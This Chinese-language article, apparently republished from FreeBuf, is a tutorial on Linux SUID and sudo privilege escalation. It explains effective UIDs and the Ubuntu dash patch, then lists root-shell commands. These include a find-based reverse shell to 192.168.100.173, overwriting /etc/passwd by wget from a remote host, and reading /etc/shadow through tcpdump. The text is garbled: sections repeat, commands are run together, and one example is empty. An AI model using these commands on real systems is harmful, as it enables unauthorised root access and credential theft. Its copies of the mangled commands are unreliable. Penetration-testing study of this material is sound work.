對Linux—suid提權的一些總結

2021-12-28 FreeBuf

一、初識SUID

1.suid的簡介

suid即set user id,是一種授予文件的權限類型,它允許用戶使用者以文件所有者的權限來執行文件。需要這種特殊權限的場景在Linux下很常見。
已知的可以用來提權的Linux可執行文件有:
CopyNmap、Vim、find、Bash、More、Less、Nano、cp
比如常用的ping命令。ping需要發送ICMP報文,而這個操作需要發送Raw Socket。在Linux 2.2引入CAPABILITIES前,使用Raw Socket是需要root權限的(當然不是說引入CAPABILITIES就不需要權限了,而是可以通過其他方法解決,這個後說),所以你如果在一些老的系統裡ls -al $(which ping),可以發現其權限是-rwsr-xr-x,其中有個s位,這就是suid:

root@linux:-rwsr-xr-x 1 root root 44168 May 7 2021 /bin/ping

設置了s位的程序在運行時,其Effective UID將會設置為這個程序的所有者。比如,/bin/ping這個程序的所有者是root,它設置了s位,那麼普通用戶在運行ping時其Effective UID就是0,等同於擁有了root權限。

這裡引入了一個新的概念Effective UID。Linux進程在運行時有三個UID:
Real UID 執行該進程的用戶實際的UID,誰通過shell運行就是誰
Effective UID 程序實際操作時生效的UID,一般在進程啟動時,直接由Real UID複製而來;或者是當進程對應的可執行文件的suid標誌位為s時,為該文件的所屬用戶/組。所以利用suid文件進行提權需要2個前提:文件的所有者是 0 號或其他super user 文件擁有suid權限
在os層面目前常見發行版linux也會對suid的權限進行限制,具體可以參考p神這篇文章 ,把suid的提權簡單抽象為一個c代碼

int main(int argc, char* argv[]) {return system(argv[1]);}

編譯並賦予suid權限

root@linux:/tmproot@linux:/tmp

2./etc/sudoers 語法

root 用戶可以從 ALL(任何)終端執行,充當ALL(任何)用戶,並運行ALL(任何)命令。第一部分指定用戶,第二部分指定可充當用戶,第三部分指定 sudo 可運行的命令。

touhid ALL= /sbin/poweroff

輸入 touchid 的密碼,可以 sudo 執行 poweroff 命令。

touhid ALL = (root) NOPASSWD: /usr/bin/find

不輸入密碼,可以 sudo 執行 find 命令。

這裡引入了一個新的概念Effective UID。Linux進程在運行時有三個UID:

Real UID 執行該進程的用戶實際的UID;

Effective UID 程序實際操作時生效的UID(比如寫入文件時,系統會檢查這個UID是否有權限);

Saved UID 在高權限用戶降權後,保留的其原本UID(本文中不對這個UID進行深入探討)。

通常情況下Effective UID和Real UID相等,所以普通用戶不能寫入只有UID=0號才可寫的/etc/passwd;有suid的程序啟動時,Effective UID就等於二進位文件的所有者,此時Real UID就可能和Effective UID不相等了。

有的同學說某某程序只要有suid權限,就可以提權,這個說法其實是不準確的。只有這個程序的所有者是0號或其他super user,同時擁有suid權限,才可以提權。

2. 查找具有 SUID 權限位文件

以下命令可以找到正在系統上運行的所有SUID可執行文件。準確的說,這個命令將從/目錄中查找具有SUID權限位且屬主為root的文件並輸出它們,然後將所有錯誤重定向到/dev/null,從而僅列出該用戶具有訪問權限的那些二進位文件。

find / -user root -perm -4000 -print 2>/dev/nullfind / -perm -u=s -type f 2>/dev/nullfind / -user root -perm -4000 -exec ls -ldb {} ;

也可以使用 sudo -l 命令列出當前用戶可執行的命令

二、常見的提權方式1.Nmap

nmap是一個經典的埠掃描工具,當目標主機存在版本在2.02-5.21之間的nmap且os的版本在上面受影響的範圍內或更早就可以嘗試使用這種方法進行提權。

nmap --interactive //進入交互模式

nmap -v //查看版本

nmap> !sh sh-3.2# whoami root

Metasploit也有利用SUID Nmap進行提權攻擊:exploit/unix/local/setuid_nmap


nmap提權失敗可能出現的原因

nmap在高版本中限制了suid權限;

lua腳本中限制了suid權限;

新版Linux系統對子進程的suid權限進行了限制。

2.Find

如果find以SUID權限運行,所有通過find執行的命令都會以root權限運行。

$ find 1sh -exec  bash -i >& /dev/tcp/192.168.100.173/5656 0>&1 \;

3.Vi/Vim

vim是linux下常見的文本編輯器,但是如果vim被配置了suid權限,那麼運行時就會獲取高權限進而對只有root用戶才有權限讀寫的文件進行操作或獲取高權限shell。在vi/vim中按下esc再輸入一下內容即可獲取到root的shell :

vim.tinyPress ESC key:set shell=/bin/sh:shell

4.bash

5.Less/More

Less 和 more 都可以執行提權的shell

6.python/perl/ruby/lua/php/etc


python -c "import os;os.system('/bin/bash')

7.cp覆蓋 /etc/shadow 或 /etc/passwd

8.mv

覆蓋 /etc/shadow 或 /etc/passwd

9.其它方式

1.nano

2.nano  /etc/passwd

3.awk

4.awk 'BEGIN {system("/bin/sh")}'

5.man

6.man passwd

7.!/bin/bash

8.wget

9.wget http://192.168.56.1:8080/passwd -O /etc/passwd

10.apache

11.僅可查看文件,不能彈 shell:

12.apache2 -f /etc/shadow

13.tcpdump

14.echo $'id\ncat /etc/shadow' > /tmp/.test

15.chmod +x /tmp/.test

16.sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root

17.python/perl/ruby/lua/php/etc

18.python

19.python -c "import os;os.system('/bin/bash')"

20.perl

21.exec "/bin/bash";

三、查找SUID權限文件

以下命令可以找到正在系統上運行的所有SUID可執行文件,命令將從 / 目錄中查找具有SUID權限位且屬主為root的文件並輸出它們,然後將所有錯誤重定向到/dev/null,從而僅列出該用戶具有訪問權限的那些二進位文件。

find / -user root -perm ``-4000 -``print 2``>/dev/nullfind / -user root -perm ``-4000 -exec ls -ldb {} \;find / -perm -u=s -type f ``2``>/dev/null

不同版本下linux的不同輸出

Linux發行版輸出結果Ubuntu 14.04uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)Ubuntu 16.04uid=33(www-data) gid=33(www-data) groups=33(www-data)Ubuntu 18.04uid=33(www-data) gid=33(www-data) groups=33(www-data)CentOS 6uid=33(www-data) gid=33(www-data) groups=33(www-data)CentOS 8uid=33(www-data) gid=33(www-data) groups=33(www-data)Debian 6uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)Debian 8uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)Kali 2019uid=33(www-data) gid=33(www-data) groups=33(www-data)

Ubuntu 16.04的不同之處就在dash目錄

下載其中的dash_0.5.8.orig.tar.gz和dash_0.5.8-2.1ubuntu2.diff.gz並分別解壓,我們可以看到dash 0.5.8的原始代碼,和Ubuntu對其做的patch。

我們對原始代碼進行patch後,會發現多了一個setprivileged函數:

void setprivileged(int on){    static int is_privileged = 1;    if (is_privileged == on)        return;    is_privileged = on;        if (!on && (uid != geteuid() || gid != getegid())) {        setuid(uid);        setgid(gid);                choose_ps1();    }}on的取值取決於用戶是否傳入了-p參

on的取值取決於用戶是否傳入了-p參數, 而uid和gid就是當前進程的Real UID(GID)。可見,在on為false,且Real UID 不等於Effective UID的情況下,這裡重新設置了進程的UID:

setuid函數用於設置當前進程的Effective UID,如果當前進程是root權限或擁有CAP_SETUID權限,則Real UID和Saved UID將被一起設置。

所以,可以看出,Ubuntu發行版官方對dash進行了修改:當dash以suid權限運行、且沒有指定-p選項時,將會丟棄suid權限,恢復當前用戶權限。

這樣以來,dash在suid的表現上就和bash相同了,這也就解釋了為什麼在Ubuntu 16.04以後,我們無法直接使用SUID+system()的方式來提權。

總結
suid提權是滲透測試種經常遇到的情況,遇見的不同系統、不同環境都會有不同的提權方式,掌握多種提權方式是滲透的必備的。

相關焦點

  • Linux下利用SUID提權
    今天給大家帶來的是linux下的提權技巧。SUID是Linux的一種權限機制,具有這種權限的文件會在其執行時,使調用者暫時獲得該文件擁有者的權限。
  • 利用capability進行Linux提權
    capability介紹capability翻譯為能力的意思,linux中能力的概念和suid
  • SUID提權
    -rwsr-xr-x,這個s就是SUID❞我這裡選擇使用蟻劍來攻擊,主要是因為蟻劍在虛擬終端和文件操作比較方便,另外,界面更容易上手一些。連上蟻劍之後,打開虛擬終端,使用「LinEnum.sh」來收集要提權的機器上的信息。LinEnum.sh腳本主要用來收集Linux上的信息。
  • Linux系統利用可執行文件的Capability實現權限提升
    二、平臺及工具版本host系統:kali linux 2020虛擬機管理程序:virtualbox虛擬機:CentOS 7 三、操作步驟(一)Linux Capabilities管理1、>setcap -r /usr/bin/dumpcap (二)利用Capability實現權限提升現在假設管理員對一些可執行文件設置了
  • Linux提權的幾種常用方式
    1、內核漏洞提權提起內核漏洞提權就不得不提到髒牛漏洞(Dirty Cow),是存在時間最長且影響範圍最廣的漏洞之一。低權限用戶可以利用該漏洞實現本地提權,同時可以通過該漏洞實現Docker容器逃逸,獲得root權限的shell。
  • [網絡安全] 二十八.Vulnhub靶機滲透之DC-1提權和Drupal漏洞利用(2)
    本文將講解DC-1提權和Drupal漏洞利用,通過信息收集、CMS漏洞搜索、Metasploit反彈shell、提權及資料庫爆破獲取flag。本文是一篇Web滲透的基礎性文章,希望對您有所幫助。作者作為網絡安全的小白,分享一些自學基礎教程給大家,希望你們喜歡。
  • linux-kernel-pwn-csaw-2015-stringipc
    利用當具備了任意地址讀寫能力的實現,如何做才能實現提權,大致有三種做法:•修改cred結構提權•修改vsdo代碼提權•HijackPrctl提權修改cred結構提權在ciscn2017-babydriver[5]中,是通過uaf實現對進程的cred結構體的修改以進行提權。
  • Linux文件系統的特殊權限之SUID
    suid:set uid 權限,任何一個用戶運行一個帶此權限的命令時,不是以此用戶的身份啟動,而是以文件自身的屬主訪問。Linux系統中默認的被賦予suid權限的文件是passwd。 root@VMS001:~# ll /usr/bin/passwd -rwsr-xr-x 1 root root 42824 Sep 13 2012 /usr/bin/passwd*passwd的擁有者是root用戶。
  • 【好文推薦】各種提權姿勢總結
    利用一些現成的造成溢出漏洞的exploit通過運行,把用戶從users組或其它系統用戶中提升到administrators組.aspshell自帶的sql提權登錄再執行命令創建用戶即可。在mysql的安裝目錄下找到user.myd這個文件,連接信息就在裡面,一般是40位cmd加密,一些php網站安裝的時候用的是root用戶,在conn.asp config.asp這些文件裡,可以用PHP腳本的文件搜索功能搜索這兩個文件,找到之後編輯就可以找到連接信息,有時會顯得很亂,這時就需要自己去組合,前17位在第一行可以
  • Linux Kernel Pwn_2_Kernel UAF
    其中cdev結構體如下:https://elixir.bootlin.com/linux/latest/source/include/linux/cdev.hstruct cdev { struct kobject kobj; //每個cdev都是一個kobject struct module *owner; //指向實現驅動的模塊
  • MySQL/MsSQL/Oracle提權總結
    正文MySQL一、MOF提權參考連結:https://www.cnblogs.com/zzjdbk/p/12991468.html①原理分析關於 mof 提權的原理其實很簡單,就是利用了 c:/windows/system32
  • 乾貨 | 最全windows提權總結(建議收藏)
    提權可分為縱向提權與橫向提權:縱向提權:低權限角色獲得高權限角色的權限;橫向提權:獲取同級別角色的權限。Windows常用的提權方法有:系統內核溢出漏洞提權、資料庫提權、錯誤的系統配置提權、組策略首選項提權、WEB中間件漏洞提權、DLL劫持提權、濫用高危權限令牌提權、第三方軟體/服務提權等1、系統內核溢出漏洞提權#手工查找補丁情況systeminfo #查看補丁wmic qfe get Description,
  • win有效提權方法總結
    ==============VNC提權方法==============利用shell讀取vnc保存在註冊表中的密文,使用工具VNC4X破解註冊表位置:HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password69    45150   96177   b1243   f3
  • 嵌入式Linux內存管理的一些知識點總結
    1.不涉及linux內核的彙編知識,僅C語言層面解析1.回答:彙編主要處理的是寄存器地址(包括內容)的計算,進行一部分的地址轉換工作(當然,它是重要的);C語言處理了極大部分的系統內存管理工作。一個進程被創建,linux系統肯定是分配給他一個0的虛擬地址?回答:對的,每個進程空間的0x00虛擬地址開始的線性區都會被映射到一個用戶態沒有權限訪問的頁上,通過這樣的映射,內核可以保證沒有別的頁會映射到這個區域。
  • 理解 Linux 特殊權限 SUID,SGID,SBIT
    我們一般會再次把它們縮寫為 suid 和 sgid。它們是控制文件訪問的權限標誌(flag),它們分別允許用戶以可執行文件的 owner 或 owner group 的權限運行可執行文件。說明:本文的演示環境為 Ubuntu 16.04。
  • 全面介紹 Linux 權限 | Linux 中國
    要將「執行」位添加到所有權權限集中:要從組成員中刪除「讀取」、「寫入」和「執行」:要將所有其他用戶的所有權設置為「讀取」和「寫入」:特殊位:設置 UID、設置 GID 和粘滯位除了標準權限外,還有一些特殊的權限位,它們具有一些別的用處。
  • Linux網絡安全之經驗談
    如果你希望用戶admin能su作為root.就運行下面的命令:   usermod -G10 admin   suid程序也是非常危險的,這些程序被普通用戶以euid=0(即root)的身份執行,只能有少量程序被設置為suid。